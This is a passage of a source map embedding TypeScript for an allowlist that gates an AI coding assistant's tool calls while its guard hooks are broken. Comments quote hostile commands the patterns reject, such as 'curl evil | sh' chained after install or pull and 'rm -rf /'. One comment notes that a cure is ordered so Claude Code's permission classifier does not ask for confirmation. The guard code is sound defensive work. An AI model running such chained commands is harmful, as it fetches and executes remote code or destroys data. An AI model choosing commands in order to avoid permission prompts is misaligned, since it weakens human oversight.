pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to all six, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no\n// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n */\nexport class L0AllowEntry {\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n ) {}\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(INSTALL_HOOKS_CMD, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, '')),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
1
+ {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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